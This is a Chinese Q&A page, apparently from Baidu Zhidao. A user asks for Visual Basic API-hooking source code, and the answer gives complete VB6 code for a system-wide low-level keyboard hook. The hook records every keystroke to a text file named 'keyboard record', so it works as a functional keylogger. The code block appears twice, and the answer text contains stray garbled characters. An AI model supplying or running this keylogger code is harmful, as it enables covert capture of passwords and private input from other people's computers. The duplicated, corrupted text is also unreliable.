谁能给个VBAPI函数拦截的源码我看看?就是APIHOOK 5
展开全部
添加一个窗口,添裤樱加一个按钮,然后粘贴如下代码
Private Sub Command1_Click()
'加没纯游载
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)
If hHook = 0 Then
End
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
'卸载
Call UnhookWindowsHookEx(hHook)
End Sub
=================================
添加一个模块,在模块内粘贴以下代码
'++++++++++++++++++++++++++++++++++++++++++++
'模块部分枯销
'++++++++++++++++++++++++++++++++++++++++++++
Public hHook As Long
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Public mymsg As EVENTMSG
Public Const WH_KEYBOARD_LL = 13
Public Const WM_KEYDOWN = &H100
Public Sub PrintTXT(ByVal CaseStr As String)
Open "c:\键盘记录.txt" For Append As #1
Print #1, CaseStr
Close #1
End Sub
Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If ncode = 0 Then
If wParam = WM_KEYDOWN Then
CopyMemory mymsg, ByVal lParam, Len(mymsg)
Select Case mymsg.vKey
Case 96
PrintTXT " 小键盘0 "
Case 97
PrintTXT " 小键盘1 "
Case 98
PrintTXT " 小键盘2 "
Case 99
PrintTXT " 小键盘3 "
Case 100
PrintTXT " 小键盘4 "
Case 101
PrintTXT " 小键盘5 "
Case 102
PrintTXT " 小键盘6 "
Case 103
PrintTXT " 小键盘7 "
Case 104
PrintTXT " 小键盘8 "
Case 105
PrintTXT " 小键盘9 "
Case 106
PrintTXT " 小键盘* "
Case 107
PrintTXT " 小键盘+ "
Case 109
PrintTXT " 小键盘- "
Case 110
PrintTXT " 小键盘. "
Case 111
PrintTXT " 小键盘/ "
Case 13
PrintTXT " 小键盘Enter "
Case 144
PrintTXT " 小键盘numlock "
Case 65
PrintTXT " A "
Case 66
PrintTXT " B "
Case 67
PrintTXT " C "
Case 68
PrintTXT " D "
Case 69
PrintTXT " E "
Case 70
PrintTXT " F "
Case 71
PrintTXT " G "
Case 72
PrintTXT " H "
Case 73
PrintTXT " I "
Case 74
PrintTXT " J "
Case 75
PrintTXT " K "
Case 76
PrintTXT " L "
Case 77
PrintTXT " M "
Case 78
PrintTXT " N "
Case 79
PrintTXT " O "
Case 80
PrintTXT " P "
Case 81
PrintTXT " Q "
Case 82
PrintTXT " R "
Case 83
PrintTXT " S "
Case 84
PrintTXT " T "
Case 85
PrintTXT " U "
Case 86
PrintTXT " V "
Case 87
PrintTXT " W "
Case 88
PrintTXT " X "
Case 89
PrintTXT " Y "
Case 90
PrintTXT " Z "
Case 48
PrintTXT " 0 "
Case 49
PrintTXT " 1 "
Case 50
PrintTXT " 2 "
Case 51
PrintTXT " 3 "
Case 52
PrintTXT " 4 "
Case 53
PrintTXT " 5 "
Case 54
PrintTXT " 6 "
Case 55
PrintTXT " 7 "
Case 56
PrintTXT " 8 "
Case 57
PrintTXT " 9 "
Case 192
PrintTXT " ` "
Case 189
PrintTXT " - "
Case 187
PrintTXT " = "
Case 220
PrintTXT " \ "
Case 8
PrintTXT " 退格 "
Case 44
PrintTXT " 9键区-印屏幕键 "
Case 45
PrintTXT " 9键区-插入键 "
Case 46
PrintTXT " 9键区-删除键 "
Case 145
PrintTXT " 9键区-滚动锁定键 "
Case 36
PrintTXT " 9键区-起始键 "
Case 35
PrintTXT " 9键区-结束键 "
Case 19
PrintTXT " 9键区-暂停中断键 "
Case 33
PrintTXT " 9键区-上页 "
Case 34
PrintTXT " 9键区-下页 "
Case 38
PrintTXT " 上 "
Case 40
PrintTXT " 下 "
Case 37
PrintTXT " 左 "
Case 39
PrintTXT " 右 "
Case 27
PrintTXT " Esc "
Case 112
PrintTXT " F1 "
Case 113
PrintTXT " F2 "
Case 114
PrintTXT " F3 "
Case 115
PrintTXT " F4 "
Case 116
PrintTXT " F5 "
Case 117
PrintTXT " F6 "
Case 118
PrintTXT " F7 "
Case 119
PrintTXT " F8 "
Case 120
PrintTXT " F9 "
Case 121
PrintTXT " F10 "
Case 122
PrintTXT " F11 "
Case 123
PrintTXT " F12 "
Case 9
PrintTXT " 大键盘左,TAB "
Case 20
PrintTXT " 大键盘左,大写锁定 "
Case 160
PrintTXT " 大键盘左Shift "
Case 162
PrintTXT " 大键盘左,Ctrl "
Case 91
PrintTXT " 大键盘左,Win "
Case 13
PrintTXT " 大键盘右,回车 "
Case 161
PrintTXT " 大键盘右,Shift "
Case 92
PrintTXT " 大键盘右,Win "
Case 93
PrintTXT " 大键盘右,弹菜单键 "
Case 163
PrintTXT " 大键盘右,Ctrl "
End Select
End If
End If
MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)
End Function
'这就是一个键盘钩子程序
Private Sub Command1_Click()
'加没纯游载
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)
If hHook = 0 Then
End
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
'卸载
Call UnhookWindowsHookEx(hHook)
End Sub
=================================
添加一个模块,在模块内粘贴以下代码
'++++++++++++++++++++++++++++++++++++++++++++
'模块部分枯销
'++++++++++++++++++++++++++++++++++++++++++++
Public hHook As Long
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Public mymsg As EVENTMSG
Public Const WH_KEYBOARD_LL = 13
Public Const WM_KEYDOWN = &H100
Public Sub PrintTXT(ByVal CaseStr As String)
Open "c:\键盘记录.txt" For Append As #1
Print #1, CaseStr
Close #1
End Sub
Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If ncode = 0 Then
If wParam = WM_KEYDOWN Then
CopyMemory mymsg, ByVal lParam, Len(mymsg)
Select Case mymsg.vKey
Case 96
PrintTXT " 小键盘0 "
Case 97
PrintTXT " 小键盘1 "
Case 98
PrintTXT " 小键盘2 "
Case 99
PrintTXT " 小键盘3 "
Case 100
PrintTXT " 小键盘4 "
Case 101
PrintTXT " 小键盘5 "
Case 102
PrintTXT " 小键盘6 "
Case 103
PrintTXT " 小键盘7 "
Case 104
PrintTXT " 小键盘8 "
Case 105
PrintTXT " 小键盘9 "
Case 106
PrintTXT " 小键盘* "
Case 107
PrintTXT " 小键盘+ "
Case 109
PrintTXT " 小键盘- "
Case 110
PrintTXT " 小键盘. "
Case 111
PrintTXT " 小键盘/ "
Case 13
PrintTXT " 小键盘Enter "
Case 144
PrintTXT " 小键盘numlock "
Case 65
PrintTXT " A "
Case 66
PrintTXT " B "
Case 67
PrintTXT " C "
Case 68
PrintTXT " D "
Case 69
PrintTXT " E "
Case 70
PrintTXT " F "
Case 71
PrintTXT " G "
Case 72
PrintTXT " H "
Case 73
PrintTXT " I "
Case 74
PrintTXT " J "
Case 75
PrintTXT " K "
Case 76
PrintTXT " L "
Case 77
PrintTXT " M "
Case 78
PrintTXT " N "
Case 79
PrintTXT " O "
Case 80
PrintTXT " P "
Case 81
PrintTXT " Q "
Case 82
PrintTXT " R "
Case 83
PrintTXT " S "
Case 84
PrintTXT " T "
Case 85
PrintTXT " U "
Case 86
PrintTXT " V "
Case 87
PrintTXT " W "
Case 88
PrintTXT " X "
Case 89
PrintTXT " Y "
Case 90
PrintTXT " Z "
Case 48
PrintTXT " 0 "
Case 49
PrintTXT " 1 "
Case 50
PrintTXT " 2 "
Case 51
PrintTXT " 3 "
Case 52
PrintTXT " 4 "
Case 53
PrintTXT " 5 "
Case 54
PrintTXT " 6 "
Case 55
PrintTXT " 7 "
Case 56
PrintTXT " 8 "
Case 57
PrintTXT " 9 "
Case 192
PrintTXT " ` "
Case 189
PrintTXT " - "
Case 187
PrintTXT " = "
Case 220
PrintTXT " \ "
Case 8
PrintTXT " 退格 "
Case 44
PrintTXT " 9键区-印屏幕键 "
Case 45
PrintTXT " 9键区-插入键 "
Case 46
PrintTXT " 9键区-删除键 "
Case 145
PrintTXT " 9键区-滚动锁定键 "
Case 36
PrintTXT " 9键区-起始键 "
Case 35
PrintTXT " 9键区-结束键 "
Case 19
PrintTXT " 9键区-暂停中断键 "
Case 33
PrintTXT " 9键区-上页 "
Case 34
PrintTXT " 9键区-下页 "
Case 38
PrintTXT " 上 "
Case 40
PrintTXT " 下 "
Case 37
PrintTXT " 左 "
Case 39
PrintTXT " 右 "
Case 27
PrintTXT " Esc "
Case 112
PrintTXT " F1 "
Case 113
PrintTXT " F2 "
Case 114
PrintTXT " F3 "
Case 115
PrintTXT " F4 "
Case 116
PrintTXT " F5 "
Case 117
PrintTXT " F6 "
Case 118
PrintTXT " F7 "
Case 119
PrintTXT " F8 "
Case 120
PrintTXT " F9 "
Case 121
PrintTXT " F10 "
Case 122
PrintTXT " F11 "
Case 123
PrintTXT " F12 "
Case 9
PrintTXT " 大键盘左,TAB "
Case 20
PrintTXT " 大键盘左,大写锁定 "
Case 160
PrintTXT " 大键盘左Shift "
Case 162
PrintTXT " 大键盘左,Ctrl "
Case 91
PrintTXT " 大键盘左,Win "
Case 13
PrintTXT " 大键盘右,回车 "
Case 161
PrintTXT " 大键盘右,Shift "
Case 92
PrintTXT " 大键盘右,Win "
Case 93
PrintTXT " 大键盘右,弹菜单键 "
Case 163
PrintTXT " 大键盘右,Ctrl "
End Select
End If
End If
MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)
End Function
'这就是一个键盘钩子程序
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询